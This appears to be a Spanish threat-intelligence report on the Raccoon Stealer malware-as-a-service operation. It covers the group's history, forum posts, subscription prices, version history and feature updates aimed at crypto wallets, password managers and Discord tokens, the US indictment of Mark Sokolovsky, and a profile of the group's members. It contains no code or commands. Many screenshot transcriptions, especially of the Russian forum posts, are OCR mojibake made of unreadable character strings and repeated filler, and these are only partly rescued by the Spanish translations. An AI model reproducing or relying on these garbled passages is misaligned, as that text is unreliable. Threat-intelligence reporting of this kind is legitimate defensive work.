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CONTEXTO

El grupo malicioso Raccoon, surgido a inicios del 2019, ha tenido cambios estructurales en este Ultimo afio siendo el mas
notorio el fallecimiento de uno de sus lideres, dando paso a un redisefio desde cero de su arsenal malicioso. Su
resurgimiento es destacable, posicionandolo como el competidor nimero uno del Infostealer Redline, y con esto en el Top
5 de los mas activos en México.

Entre las industrias objetivo, estas no pueden ser focalizadas, debido a que operan bajo el esquema de “Stealer As A Service”,
por lo que las victimas son seleccionadas a discrecion de los usuarios que ocupan su plataforma. Los LOGs con
credenciales resultados de las infecciones, los encontramos en mercados negros, con distintos precios dependiendo de
qué tan vigente sea la informacién ofrecida.
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Figura 1: Ofertas de Stealer logs de México en un mercado negro

Los ataques lanzados desde su plataforma prohiben aquellos paises de la CEl: Armenia, Azerbaiyan, Bielorrusia,
Kazajistan, Kirguistan, Moldavia, Rusia, Tayikistan, Uzbekistan.

Figura 2: Paises de la CEI
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Podemos darnos una idea del impacto geografico mediante las ofertas existentes de logs en los distintos
mercados negros de informacién, tan solo en México, un total de 60984 al momento de la consulta:

Stealer:

racoon (451326)

State:

All
Philippines (81876)

ISP:
Turkey (68104)

India (IN) (66191)

Mexico (60984)

United States (60639)

France (52990)

Figura 2: Cantidad de Stealer logs de Raccoon en distintos paises
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Linea del tiempo de RACCOON
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Figura 3: Linea de tiempo RACCOON
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HISTORIA

Este grupo de Infostealer comenzé sus operaciones a inicios del 2019, publicando en abril del mismo afio sus
primeras ofertas del software malicioso.

+& Follow member ¥ Message

April 2, 2019 91716 1 hour ago

Figura 4: Perfil Raccoon Stealer

*No se cuenta con captura, debido a que reescribieron esta primera publicacién de abril, teniendo cambios cada
cierto mes, la publicacion principal actualmente cuenta con el cambio en agosto 18 del 2022.

IYIDI MAC FADV ALK MA ICEFEVITUEVIVE O ! OAMRC MC TIDITAVIETE

MoxanyWcra, BCceraa CBepalTe KOHTaKThl Ha opymax. Ecnu Hi
C yBaxxeHWeM, KoMarHaa Raccoon Stealer

Edited Thursday at 12:42 PM by raccoonstealer
AKTyanusauns MHpopMaLum

Figura 5: Fecha de edicion de la publicacion
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Se pueden encontrar publicaciones en donde se aprecia que este lanzamiento en abril estuvo
orquestado con una fase de pruebas previa por algunos usuarios:

Nostromo o3
Al corriente8 de abril de 2019 - 2

MNo3apaBnso ¢ 3anyckoM. Y4aBCTBOBaN B TECTaX €LUe HECKONbKO MeCaLeB Hasag,
OTAMYHAA KOMaHAa, MHOTO MHTEPECHbIX pelueHnit U aAMUH KaaMUH. Mo MHe ToMoBbIi
npoaykT! [ymMai MHOrMe Crbilany o HEM YyXe.

Figura 6: Presunto usuario de fase beta

R TR R R R R P R R P R R R SR R R R R P R R PR R PR R PR RS R PR R R PR R PR R PR R P R SR R PR R R e

Felicidades por tu lanzamiento. Participé en las pruebas hace unos meses, un gran equipo, muchas
soluciones interesantes y un administrador administrador. jEl mejor producto para mi! Creo que
mucha gente ya ha oido hablar de él.

FAAAAAAAAAAAAAAAAAAAAXAAAAAAAAAAAAAAAAAAAAAAA XA AAAAAAAAA A AXAA A XA AAAA XA AAA LA XA ALK

Sin embargo, cuando liberaron su primera version, esta comenzé a ser criticada por tener
detecciones de los antivirus, lo que desperto el descontento de consumidores, incluso de algunos
moderadores del foro, tal fue el caso de Quake3.

Quake3 Posted April 8, 2019

resepartop 3na
ssssssssee

TC, NOTPYAUTECH BLINOXWTL CErOAHS, B TEYEHUE [IHS, CKaH C IMHYEKa C BKIIKYEHHbIM UHETOM. ECNW y BaC HeT AMHYEeKa, W HeT [IeHer NS NONONHEHWS, CKUHbTE
©aiin MHe B NWYKY, A CaMm Nposepo. He Haao 0TMasbIBaTLCA NPO "KPacHBYIO KAPTMHKY', He roToBbl M Tak Aanee. Mpogasatb COMT 3HA4MT roToBbI, @ CKAHWPOBATL -
HeT? B yeM normka? ECnv OH NanuTCA WM 4TO-TO TaM He paboTaeT, Kakoi CMbICN IPy3uTb?

Moderator
© 509

Figura 7: Publicacién entidad Quake3

FAXAAAAAAKAAAARRAR XA AAAAAAIAAAA AR AR XA AL AAAAA AR AR AR X AR XA AL AAAAA A AR R AR XA LA AAAAAAA XA XA A XXX

TS, tomese la molestia de publicar hoy, durante el dia, un escaneo de un dinchek con Internet
encendido. Si no tiene dinchek, y no hay dinero para reponer, envieme el archivo en un personal, lo
revisaré yo mismo. No hay necesidad de poner excusas sobre la 'hermosa imagen', no estan listos,
etc. ¢Vender software significa estar listo, pero no escanear? ;Cual es la Iégica? Si se quema o algo
no funciona ahi, ;de qué sirve cargarlo?
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Cerré su publicacion comentando lo siguiente

FAAAAAAAAAAAAAAAAAAAAAAAAAAXAAAAAAAAAAAXAAAAAAAXAAAAXAAAAAAAAIAAAAXIAAAAXIAAAAXIAXAEI AL AL XA LA

Si durante el dia no veo un escaneo en este tema, se cerrara.
FAAAAAEAAAAAAAAAXAAAAAAAAAAAAAAAA XA AAAA XA AAAA XA A AAA AR AAA AR A AAAA AR AAAA XA AAAA LA AAA LA AAA LA AAA LXK

A lo que Raccoon respondio estar al tanto:

he"§ raccoonstealer o9
Posted April 9, 2019 I~ <

On 4/8/2019 at 6:57 PM, Quake3 said:

Koraa-To 6eina MoAa Ha cynep-aA40c 60Tsl, TENEPh Xe - H3 CTUAAEPhI. UHTEpecHo, ecTe
Kakoii-To nabnuk copu, oTKyAa BCE YEPNaroT BAOXHOBEHNE, MM 3TO OAHA M Ta Xe KOMaH4a
wramnyet gaiinel ¢ "HeGonblwym BecoM 500k6" u cBoeli nanenso? Hy 4a nagHo.

TC, NOTPYAUTECH BbINOXWUTL CErOAHA, B TEUEHUE AHR, CKaH C AMHUYEKa C BKIKOUEHHBIM MHETOM.
Ecnu y Bac HeT AMHYeKa, W HeT AeHer AN MOMonHeHus, CKuHbTe hailn MHe B MUKy, 5 caM
nposepto. He HaZo 0TMasbiBaTbCA Npo "KpacuByo KapTWMHKY", He roToBbl M Tak Janee.
MpofasaTb cobT 3HAUNT roTOBbI, @ CKaHUPOBaTb - HET? B UeM noruka? ECNM OH NanuTca unu
UTO-TO TaMm He paboTaeT, Kakoi CMbICA rpy3nTb?

Ecnu npoaykT HOpMaJ’IbeIﬁ, TO HUKaKWX BOMPOCOE K BaM He 6Y.D.ET, HO Bbl CaMU 3TUMHU
HeJOMONBKaMn cosgaete HEEW.QDDBI:IFI axunoTax. Ha pbiHKe MHOro epyHAabl, MO3TOMY NlCAN

XOTAT BUAETE, YTO NOKYMNaKT, KOT B MEWKe HUKOMY He HYXeH.

Ecnun B TedeHWe OHSA A He YBUXY B 3TOI TeMe cKaHa, oHa Sy.qe'r 3aKpbiTa.

CeroAHA Bce cCKUHeM o6A3aTensHo. Mbl He fenaeM U3 3Toro TailHel. MNeped pennsoM Mbl Noaydanu
npumMepHo 5 geTekToe. MoTom Gbin pacWwMpeH Koe-Kakoi QyHKUMOHaN CTUNepa U BYepa Mol
noAy4Mnn MUHMMyM 8. Ceiiyac pasbupaemMcs, 4Tobbl YMEHLWWTL 3TY LMDPY.

Figura 8: Respuesta del moderador Raccoon Stealer

FAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAXAAA XA XAAA A XA AA AL AAAA XA AAE A XA AAA A AR AAA LA XA A XA XA LA A

Hoy definitivamente tiraremos todo por la borda. No ocultamos esto. Antes del lanzamiento,
recibimos alrededor de 5 detecciones. Luego se amplié alguna funcionalidad del ladron, y ayer
obtuvimos al menos 8. Ahora estamos tratando de reducir esta cifra.

B R R R T R R P R R R R R R R R R R P R R PR R P R R PR R R P R P R PR R S R R P R R P R R P R P R R Rt
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Para el 27 de abril, Raccoon anunciaba cambios significativos en su Infostealer, principalmente en el
Backend y Frontend:

raccoonstealer

We steal, you deal
ssseee Bcem npueet!

Y Hac BbIAANWUCE HECKONBKO TAXENLIX, HO O4EHb NPOAYKTUBHLIX AHEW. Mbl NPUHOCKMM CBOM M3BMHEHWSA 38 NPOCTON W nDOﬁﬂEMhI CO CBA3bID. Bcem knueHtTam ByayT
HauYWCNeHbl 2 ACNONHUTENBHBIX HeAend. OTaensHo xotenu Bel NOGNaroAapuTe Tex, KT Bkl Ha CBA3W M NOMOran ¢ TeCTUPOBAHWEM

Bnuxe k geny.
C MOMEHTa Halllero NosiBNEHWS Ha PhIHKE Ha Hac obpyluMnack Uuenas sonxa DDOS dnyaa 1 NpoyMe NpenecTu B BUAE NeHTecTa, 6pyTa 1 T.A. KTO-TO K3

Seller Heno6poXenaTeneii He Xaneer Ha 370 AeHer.
o9

Joined Bce 370, M HE TONBLKO, CTANO NPUYMHOIA ANA CNeAYLWNX 06HOBNEHWMI:
oine

Activity Back-end

- MoNHOCTBIO HOBAA CUCTEMA FedToB ANA Nonb3osaTtenen

Figura 9: Actualizacion del malware

Se pueden observar las primeras versiones de su plataforma por usuarios de esta, quienes
compartieron capturas:

o~ Raccoon Stealer X About Tor X e

0 () ¢ 06 oo

Figura 10: Plataforma web Raccoon Stealer
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Los precios no se habian publicado hasta mayo, esta informaciéon se tenia guardada de manera
discreta, solo para personas que preguntaran por ello.

raccoonstealer Posted May 27, 2019 (edited)

We steal, you deal
YY) Subscription plans:

75% - Week
200% - Month
1000$ - 6 months

Seller Hawun KoHTaKTbI:
09
338 posts XMPP:
Joined .
04/02/19 (ID: 91716) support@raccoon.biz
Activity mrx@raccoon.biz

supyconorus / malware  raccoonstealer@exploit.im

Figura 11: Precios Racoon Stealer en 2019
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En junio de 2019, son los mismos de Raccoon quienes comparten imagenes de su consola 2.0 Beta.

Figura 12: Plataforma de Raccoon Stealer 2.0 - Clientes pueden buscar por IP infectada

Por lo que se muestra un breve paréntesis cronolégico para compartir el control de versiones de
Raccoon Stealer.

03/12/2019 1.4.0
18/02/2020 1.4.8
09/05/2020 1.5.11
20/06/2020 1.5.12
21/06/2020 1.5.13
27/10/2020 1.7.1
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24/12/2020 1.7.2
01/03/2021 1.7.3
14/06/2021 1.7.4
12/07/2021 1.7.5
13/08/2021 1.8
08/09/2021 1.8.1
07/10/2021 1.8.2
11/12/2021 1.8.4
20/01/2022 1.8.5
10/02/2022 1.8.5-b
01/07/2022 2.0.0
09/08/2022 2.0.1
15/09/2022 2.0.2

Tabla 1: Historial de versiones Raccoon Stealer
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Un hito muy importante fue su cese de operaciones de 25 de marzo del 2022, donde Raccoon anuncia
que deben cerrar las actividades del infostealer:

raccoonstealer  rosted March 25
We steal, you deal

Yi e KNnneHTbl, K BenuyailueMy CoXaneHumio, B CBA3N C "cneuonepaumen”, Ham npuagTca 3aKpbiTh Haw NpoekT Raccoon Stealer

YneHoB Hawei KOMaHAbl, KOTOPbIE OTBEYANM 338 KPUTUUYECKME MOMEHTBI B paboTe nNpoaykTa, ¢ Hamu 6onblwe HeT B

Mbl C pa3o4yapoBaH1eM BbIHYXAEHbI 3aKPbITb HALW NPOEKT, AanbHeiwas crabunbHas pabota crunnepa GrU3nyecky He BO3MOXHA

Yro 6yaer c noramn?

Jlorun ewe MOXHO ckauaTh, HO multidownload cepeep yxe nepecran oTeeyaTs

3T0 3HaYMT, YTO Bam HYXHO Ha4yaTb BblKa4YMBaTb NOrK NO OAHOMY, HAYMHAA C CaMbiX "XMPHbIX" (KHOMNKA CKavaTe cnpasa B Tabnuue Ha Kaxaom nore)

MbI NPUHOCMM M3BMHEHUS 3a Takve HeyaoBCTBa, 3a TO YTO HEe CMOXEM NPOAO/XMTL PaA0BaTh BAC HALWMM NPOAYKTOM, KaK Mbl A€nanu 370 nocneaxue 3 roaa, Ho Mol
BbIHY>XAEHb! 3aKPbiTb NPOEKT Ha HEONPEAENEHHbIN CPOK

Mpocum C NOHUMAHWEM OTHECTUCH K Haleln notepe

338 posts

Joined
04/02/19 (ID: 91716) Xenao BCceM TepneHus, U kaxaoMmy HainTk no 1.000.000 $ npocuTos

Activity Cnacvbo BAM® , 3a 3TOT ONbIT 1 BPEMSI, 3@ KaXAblit A€Hb, K COXANEHUIO BCEMY , PaHO , UNK NO3AHO, NPUXOAUT KOHEL
supyconorus / malware  Bcem MUP
9

Figura 13: Cese de actividades de Raccoon

FAAAAAAAAAAAAAAAAAAAAXAAAAAAAAAAAAAXAAAAAXAAA A AAAA A XA AA LA AAAE A XA AA AL XXX AL XA

Estimados clientes, lamentablemente, debido a Ia ‘operacion especial, tendremos que cerrar nuestro
proyecto Raccoon Stealer

Los miembros de nuestro equipo que fueron responsables de momentos criticos en el
funcionamiento del producto ya no estdn con nosotros &)

Estamos decepcionados de cerrar nuestro proyecto, la operacion mas estable del destilador es
fisicamente imposible

¢Qué pasara con los registros?
Los registros atin se pueden descargar, pero el servidor de descargas miiltiples ya dejé de responder

Esto significa que debe comenzar a descargar los registros uno por uno, comenzando con los mas
pesados (botdn de descarga en el lado derecho de la tabla en cada registro)

Pedimos disculpas por tales inconvenientes, por no poder seguir complaciendo con nuestro producto,
como lo hemos estado haciendo durante los ultimos 3 afos, pero nos vemos obligados a cerrar el
proyecto por tiempo indefinido.

Por favor, comprenda nuestra pérdida.

Les deseo paciencia a todos y que todos encuentren una ganancia de $ 1,000,000

Gracias 7 por esta experiencia y tiempo, por cada dia, lamentablemente todo, tarde o temprano,
llega a su fin

paz para todos

FARAAEAAAKAAAARAAR A XA AAAAAAAAA AR AR A LA A AAAA AR AR AR A XA A A A A A AR AR AR AA XA LA XA XX
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Comenzaron a surgir los rumores del cese de operaciones, y que este estaba directamente
involucrado con la muerte de uno de los lideres en la invasién de Rusia a Ucrania. A lo que Raccoon
respondié que el rumor era cierto. Sin embargo ellos continuaron con el proyecto reescribiendo
desde 0 el cddigo, asi como toda la infraestructura asociada. Que se encontraban en el proceso de
la fase beta la cual duraria unas semanas mas.

raccoonstealer  Posted june 1
We steal, you deal

eoecee ) On 6/1/2022 at 4:09 AM, anon666deanon said:

it's true?

Yes, my dear friend! This is not a rumors.

After our teammate loss we made a decision that we can not leave our project and we will continue our work in his honor. Also we build big community who
support us during our lifetime cuz they don't see any alternative to work with.

338 posts
Joined This months we worked on Raccoon Stealer 2.0. Project was totally coded from very beginning. New back-end, new front-end, absolutely new stealer soft. I will
04/02/19 (ID: 91716) provide all details after beta test ends. Believe me there are many interesting things to present.
Activity
BUpyconoris / malware

Beta test in process about 12 days and clients mostly happy about it. Some minor issues are left to fix. I think we are moving to release date on next two weeks.
We are miss our clients and want go back to full working volumes.

See ya soon!

Figura 14: Mencién de la muerte de uno de sus lideres y préximo retorno de operaciones

FAAAAAAAAAAAAAAAXAAAAAXAAAAAXAAAAAAAAAAAAAAAAAAAXAAA XX AA A AAAAAAAAAE LA AAEAA XA AAA LA AAA A XXX H

iSi mi querido amigo! Esto no es un rumor.

Después de la pérdida de nuestro compainiero de equipo, tomamos la decision de que no podemos
abandonar nuestro proyecto y continuaremos nuestro trabajo en su honor. También construimos una
gran comunidad que nos apoya durante nuestra vida porque no ven ninguna alternativa con la que
trabajar.

Este mes hemos trabajado en Raccoon Stealer 2.0. El proyecto fue totalmente codificado desde el
principio. Nuevo back-end, nuevo front-end, absolutamente nuevo robo suave. Proporcionaré todos
los detalles después de que finalice la prueba beta. Créanme que hay muchas cosas interesantes
para presentar.

Prueba beta en proceso de unos 12 dias y los clientes en su mayoria estan contentos con ella.
Algunos problemas menores quedan por solucionar. Creo que nos estamos moviendo a la fecha de
lanzamiento en las proximas dos semanas.

Echamos de menos a nuestros clientes y queremos volver a los volimenes de trabajo completos.

iNos vemos pronto!

B R R R P R R R R R R R R PR R P R P R P R P R R P R R P R P R P R P RS R R SR R S T
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Posteriormente el Primero de julio del 2022 anunciaban su regreso:

raccoonstealer  posted July 1

We steal, you deal
ey RACCOON STEALER 2.0 We are Back!

,QJ'ISI Hac, KaK U Ans MHOrux, 3Tto BbIIN HENETKNe HECKONbKO mecaues. Mbl 6binn BbIHYXAEHbl 3aKPbiTb HAW BeCbMa YCHELIJHbll‘;i NPOEKT U3-3a He3aBuCALWKX OT Hac
o6cToaTensCTs.
Ho HeT xyaa 6e3 obpa v Mbl paasbl BEpHYTLCA 06paTHO!

Seller MpoeKT 6bin NONHOCTLIO NepenucaH ¢ Hyns. buna, PPoHT u GekeHa. Mbl yunu OWKUBKKU NPOLWNOro N COXPAHMNN BCE XOPOLWME MAEU, KOTOPbIE NPULLNUCE HALWIUM
o9 NOCTOSIHHUKAM MO BKYCY.

33J8_p03ts Buna cran B 10 pa3 MeHbLUE, NONHOCTBLIO COXPAHUB BCE CBOM CTapble GyHKUWUK, @ Takxe NPUoBpén HoBble GULLKK, Y4TO caenano norv eweé 6onee nHHOPMaTUBHbIMK!
loine

04/02/19 (1D: 91716)  AWHaMu4eckas otnpaska MHGOPMauMK nora No3BoNMNa YBENNUUTb OTCTYK.
Activity MoMuMo kauecTsa paboTel Hawero codTa, Kak U Npexae, Mol yaenunu 60160 BHUMAHUE BHEWHEMY BUAY U (DYHKUUOHANY NaHenu ynpasneHus.

supyconorus / malware
MaHenb NOAHOCTBLIO NEPenUcaHa Ha caMblX COBPEMEHHbIX Gubnnotekax. Mbl COXpaHUNM Hall MOLLHbLIA NOUCK, Tern, Mackn Noucka, Tern 6unaos u MHorue apyrue
yHKUMK (Hanpumep, o6o3peBaTent 610KOB KOWENLKOB U MHOTUE Apyrue).
Ha 6ekerae Takxe NPOMU30LINN USMEHEHNS B NYULLYIO CTOPOHY. Mbl PeWIMAYN 3aNyCTUTb NPOEKT, OTKa3aBLUMCh OT 06LMX NPOKCU. Teneps NoNb30BaTeNb MOXET
nponatuuTe 6unA 5-10 IP-aapecamu 1 OTCNEAUTL UX U3 NaHenu. 3TO NO3BONUAO YYHIWUTL OTCTYK, Tak Kak Nonb3osaTeny 60nble He BAWAKT APYT Ha Apyra.
Takxe B NnaHax 406aBUTb CTapylo CUCTEMY OBLUMX NPOKCH ANIS CaMbIX «NEHWUBbIX» KNWEHTOB, KTO NPEANOYMUTaeT MONYYUThL CTUNEP «MOA KMIOU».

Bcé Ta xe HaféXHOCTL 6eKeHaa, CUCTeMa NOrMPOBaHUS W anepTos, AELeHTPANM30BaHHas CXeMa W perynspHble 63kansl.
No6aeneH 60T ana Telegram, NO3BONRIOWMIA OTNPABAATL IOTM HA BALL aKKAYHT, @ TAKXKE BO3MOXHOCTb HACTPOUTL MMOKYIO OTMPaBKy No Teram.

pexae 4YeM HauaTb OTKPbLITYO NPOAAXY, Mbl TECTUPOBANK NPOEKT 60/Ee ABYX MECAUEB, KakK 6eTa BEPCUIO, U MUHMMASbHbBIE OLIMEKN BbiNk YCTPAHEHBI.
Monb3oBatenu 6eTa-Bepcumn NONHOCTBIO YAOBNETBOPEHb! PE3yNbTaTOM W OCTAIOTCA HALMMMK NOCTOSIHHLIMU KWEHTaMN NO Ceii AeHb.

Figura 15: Vuelta de Raccoon a la operacidn
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Raccoon STEALER 2.0 jEstamos de vuelta!

Para nosotros, como para muchos, no fueron unos meses faciles. Nos vimos obligados a cerrar
nuestro exitoso proyecto debido a circunstancias fuera de nuestro control.

iPero cada nube tiene un lado positivo y estamos felices de estar de vuelta!

El proyecto fue completamente reescrito desde cero. Construir, front-end y back-end. Tomamos en
cuenta los errores del pasado y mantuvimos todas las buenas ideas que les gustaban a nuestros
habituales.

La construccion se ha vuelto 10 veces mas pequena, conservando por completo todas sus funciones
anteriores, y también adquiri6 nuevos chips, jlo que hizo que los registros fueran aun mas
informativos! El envio dinamico de informacion de registro permitié aumentar la respuesta...

FAREAAAAAAIAAAAARARAAA XA AAAAAAAAA AR AR XA A A AAAA AR AR AR AL A AAIAA AR AR AL AAAAAAAA AR AL XA XA XX
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En agosto del 2022 anunciaban su version 2.0.1 Beta:

09.08.2022

Update 2.0.1-beta

» Chop darnos ceccum Discord (Buna) + MNapcyvHr TOKEHOB Ha CEPBEPHOM YacTK

raccoonstealer = MNowck cnpok (dpassl 12+ Cnog) B darinax u3 rpabbepa (NpoucxoanT Ha GOHe Ha CepBEpPHON YacTu)

RAID-maccus

+ Seed phrases B noucke Ana GWALTPa NOTOB C MHEMOHWKAMM

» MNpocMOoTp cMAOK NPAMO B NaHenn, inbo B nore (dann seeds.txt)
» Yucrka (Win Def - knmH)

Perncrpauma:  01.04.2019

Coobuenns: 89
Peakuuu: 43
[apaHT caenku: 1 . VICHpaBﬂE‘H noacyer ,D.Heﬁ npu nNpoaneHnn NnueH3Inn

+ lobaBneH nHAnKaTop cbopku apxvea aAna MultiDownload
+ HemHoro aopaboTaHa dopmMa asTopuszaumm

» BocctaHoBAeHa paboTa ocHOBHOTO fxkabbep cepsepa

Figura 16: Publicacion de RACCOON 2.0.1

FAAAAAAAAAAAAAAAAAAAAXAAAAAXAAAAAAAAAAAAAEAAAAAAAAA XA XA A AA LA AL A XA ALK

Actualizacion 2.0.1-beta
* Coleccién de archivos de sesion de Discord (Build) + Analisis de tokens del lado del servidor

* Bisqueda de semillas (frases 12+ Palabras) en archivos del capturador (ocurre en segundo plano
en el lado del servidor)

* Frases de semillas en la busqueda de registros de filtrado con mnemdénicos

« Visualizacién de semillas directamente en el panel, o en el registro (archivo seed.txt)
* Limpieza automatica

« Conteo de dias fijo al renovar una licencia

* Se agrego un indicador para crear archivos de descarga miltiple

« Se mejoro ligeramente el formulario de autorizacion

R R R R R P R R R P R R R R PR P R R P R B R PR R PR R P R S P R S R PR R R St
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El 15 de septiembre del 2022 anunciaban su version 2.0.2 Beta:

15.09.2022

O6HoBneHue bunga Raccoon Stealer [2.0.2]-beta

Job6asneHo:
raccoonstealer

RAID-maccuB o
o ¥

Monb3oBarens

BepHyaun noaaepskky c6opa TOTP-paclumpeHuid, a Takxe pacllupeHuia 4na xpaHeHusa naponeid (Mo Tvny LastPass)

Peructpauna:  01.04.2019 A i
89 + Microsoft AutoFill

CoobuieHuma:
Peakuum: 43 « Bitwarden
lapaHT caenku: 1 « KeePass Tusk

+ KeePassXC Browser
+ Authenticator.cc
*Cnucok ByaeT cMnbHO paclumpeH B Gavxaiumne napy AHen

-k
JlobaBuan cbop KowweNbKOB-pacLUVIPeHWIA:
* Exodus Web3 Wallet

« Braavos (StarkNet) Wallet

« Enkrypt Wallet (o1 MyEtherWallet)

« OKX Web3 Wallet

Figura 17: Publicacion de RACCOON 2.0.2

R R R R R R R R R R P R R P R R R R PR R PR R SR R P R B R P R R P R R PR R S R S

Actualizacion 2.0.2-beta

Compatibilidad para recopilar extensiones TOTP, asi como extensiones para almacenar contrasefas
(similar a LastPass):

* Microsoft

* AutoFill - Bitwarden

* KeePass Tusk

* KeePassXC Browser

* Authenticator.cc

Coleccion anadida de carteras de extension:
* Cartera Exodus Web3

* Cartera Braavos (StarkNet)
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* Cartera Enkrypt (MyEtherWallet)
* Cartera OKX Web3

« Cartera Sender (cadena NEAR)

» HashPack (cadena Hedera) Monedero
* Monedero EVER-chain

* Monedero Eternl (Cardano)

* Cartera Gero (Cardano)

« Cartera Pontem (cadena Aptos)
* Cartera Petra (cadena Aptos)

« Cartera Martian (cadena Aptos)
* Finnie (Cartera con cadena Koii)

* Leap Terra (Cartera Terra 2.0)

FAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAXAAAAAAAAAAA A XA AA A AAAE LA AAEE AL A XA AL XA H

. QUIEN ES raccoonstealer AVATAR?

La ultima interaccion del moderador que se tenia en foros rusos fue el 9 de octubre del 2022. En
dicha interaccion compartio la direccion de TOX para ser contactado:

raccoonstealer  Posted October 9
We steal, you deal

esosse On 9/10/2022 at 1:13, netrunner01 said:

Greetings! Can you send me your actual TOX in PM for purchase your product and talk about some details? Thanks, doc!

Hello! Please feel free to contact us!

59922F114D421355B562B5C6A0F53A159DSDFF6BOE33031ES5F79820C8E47DAOB3DAB57373EAE

Seller
©10

343 posts + Quote
Joined
04/02/19 (ID: 91716)
Activity
Bupyconorus / malware

Figura 18: interaccion de Moderadores de RACCOON

El 29 de octubre la cuenta oficial de RACCOON en un foro ruso informa sobre lo sucedido con uno
de sus miembros, mencionan que los cargos publicados por el Departamento de Justicia de los
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Estados Unidos de América, esta relacionado con la version 1y que ellos contintan operando con la

version 2.
ladrén de Al corrientesébado a las 08:32 (editado)
mapaches ) ) B y B
Comunicado del equipo de Raccoon Stealer sobre la noticia de la detencién de uno de los participantes del proyecto.
Nosotros robamos, tu
negocias
e0s000 Nuestro compafiero desaparecié al comienzo del NWO. Todo lo que sabfamos de €l era que vive en Kyiv. Perdimos contacto con €l en el momento del ataque a Kyiv.

Por supuesto que pensamos lo peor. No teniamos noticias de él.

Nunca dijimos que murié en el NWO, esto ya es una bicicleta de Internet. Para nosotros, desaparecié al comienzo de la guerra. iEstamos muy contentos con el
hecho de que estd sano y salvo!

Repito, no nos conociamos personalmente y no podemos confirmar que esta persona en particular estuviera involucrada en el proyecto.

Vendedor La informacién publicada por las agencias de inteligencia se refiere a la versién 1.0. No hemos almacenado ningln dato de cliente, por lo que no hay nada de qué
Odiez preocuparse.
344 publicaciones
Se unié R | |
el 02/04/19 (1D: 91716) En este momento, el proyecto 2.x se esta ejecutando, todos los miembros del proyecto estan disponibles y los servidores estan seguros.
Actividad

virologia / malware

editadosabado a las 08:34por raccoonstealer

Figura 19: Comunicado RACCOON

El 21 de noviembre de 2021, en dicha publicacion, la agencia realizé una acusacion sellada en contra
del actor de amenazas Mark Sokolovsky, en la cual se culpaba a la entidad de conspiracién para
violar la ley, fraude Informatico, conspiracién para cometer fraude electronico, conspiracién de
lavado, robo de identidad agravado. Asi mismo, se publican los avatares utilizados por el acusado
destacando el de “raccoonstealer”, el cual publicaba actualizaciones constantemente en el foro ruso
antes descrito:
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FILED

SEALED WA NOY -2 PH 2: 0|
UNITED STATES DISTRICT COURT
47 ol

WESTERN DISTRICT OF TEXAS 75, 2 DL 00
BV__......__.,.E[&(/ et
SRER:

INDICTMENT tanda?

UNITED STATES OF AMERICA

[COUNT 1: 18 U.S.C. § 371, Conspiracy to
Commit Fraud and Related Activity in
Connection with Computers;

COUNT 2: 18 U.S.C. § 1349, Conspiracy to
Commit Wire Fraud;

COUNT 3: 18 U.S.C. § 1956(h),
Conspiracy to Commit Money Laundering;
COUNT 4: 18 U.S.C. § 1028A, Aggravated
Identity Theft.]

A2 1CR 224 LY

MARK SOKOLOVSKY, aka Photix,
raccoonstealer, and black21jack77777

Defendant.

LR U UL U LT U L U LT U R U LR

THE GRAND JURY CHARGES:

At All Times Material To This Indictment:

INTRODUCTION AND OVERVIEW

1. Conspirators residing in Ukraine and elsewhere operated a computer malware
known as Raccoon. The conspirators offered the malware as a service to users as a means to
harvest personal information, financial information, and passwords from victims without the
knowledge of the owners of the victims’ computers.

2% Millions of computers around the world have been infected with the Raccoon
malware and more than 2 million victims have had their personal information, financial

information, and passwords stolen by Raccoon.

Figura 20: Cargos contra Mark Sokolovsky - Source:
https://www.documentcloud.org/documents/23185268-mark-sokolovsky-raccoon-stealer-unsealed-
indictment

Los cargos se derivan del papel del acusado en la operacion del malware Raccoon Infostealer, que
se ha utilizado para robar registros confidenciales, incluido el inicio de sesién, credenciales,
informacion financiera y otros registros personales. Raccoon Infostealer infecté computadoras en
muchos paises desde 2018 hasta principios de 2022. El Departamento de Justicia de los Estados
Unidos de América alega que Mark Sokolovsky es uno de los administradores clave detras de
Raccoon Infostealer.

El 26 de septiembre del 2022 el Departamento de Justicia compartié la mocion para el
Procedimientos de Notificacion a Mark Sokolovsky. En la cual se detalla lo siguiente:

El acusado es nativo y ciudadano de Ucrania. El 4 de marzo de 2022, el acusado (junto con otras
personas) salié de Ucrania en lo que parecia ser un Porsche Cayenne, transité por Polonia y Alemania,
y finalmente llegd a los Paises Bajos.
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Figura 21: Porsche Cayenne en el que huyd la entidad a paises bajos. Esta imagen fue tomada por las
autoridades fronterizas polacas cuando el vehiculo de Sokolovsky ingresaba a Alemania. Imagen:
KrebsOnSecurity.com.

Las fuerzas de la ley holandesa arrestaron a Sokolovsky el 20 de marzo de 2022, de conformidad con
una orden de arresto provisional solicitada por los Estados Unidos.

Posteriormente, Estados Unidos presentd una solicitud formal de extradiciéon a los holandeses
acerca del acusado, la audiencia de extradicién se llevd a cabo el 31 de agosto de 2022. El Tribunal
de Distrito de Amsterdam emitié su decision el 13 de septiembre de 2022 y concedio la extradicion
del imputado.

Simultaneamente con el arresto del acusado, las autoridades italianas y holandesas iniciaron
acciones legales para apoderarse de la infraestructura digital clave de Raccoon Infostealer, lo que
causo que la infraestructura detrds del malware quedard inoperativa.

Posterior al apoderamiento de la infraestructura, el gobierno de los Estados Unidos ha creado el
siguiente sitio que permite a victimas potenciales verificar si su correo electrénico ha sido
comprometido por el infostealer: https://raccoon.ic3.gov/home.
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SISTEMA DE ASOCIADOS DE RACCOON

En su servicio MaaS (Malware as a Service por sus siglas en inglés) Raccoon ofrece un panel web
para llevar a cabo el control de su malware, infraestructura de red y los logs obtenidos por su stealer
en equipos infectados, ademas de otras funciones.

Su precio actual esta por encima de los $150 USD por semana.

PERFILAMIENTO RACCOON

A continuacion, se presenta el perfilamiento de los miembros del grupo Raccoon:

We don "t find evidence of His technical level is high, We detect some profiles
this kindof nexus De 75 a 1000 USD have:::cri:;:sl;s a.nd with the same avatar name,
ﬂ y but doesn't mach with our AN
Cl e entity
A raccoonstealer
Technical level e Admin

Prices
nexus with organized crime )
Surfaceweb

Languages Digital "KC
enti Fi t
-e— @‘_ hanges RACCOON —H18erprin !mn_ Deepweb 3 ‘

Russian
Possible
.m‘ V. Locatlun .
Link
Engllsh Analysis

Cibercriminal activities

JKano6a
Admin

raccoonstealer
Admin

raccoonstealer
Admin

KingsGambit
Soporte
RACCOON

Netherlands

raccoonstealer

Infosteal Mark Sok aka Workcoon Admin
ntosteater Raccoonstealer, Soporte
aka Photix, aka RACCOON

black21jack? gr33nlight
Presunto Soporte
operador RACCOON
RACCOON

